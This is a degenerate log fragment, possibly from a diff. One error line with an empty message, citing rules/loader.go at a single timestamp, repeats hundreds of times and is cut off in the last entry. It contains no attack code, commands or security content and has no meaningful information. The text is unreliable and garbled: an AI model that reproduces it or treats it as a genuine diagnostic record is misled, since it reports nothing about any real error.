+time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= source=rules/loader.go:142 +time=2025-11-06T16:58:21+01:00 level=error msg= 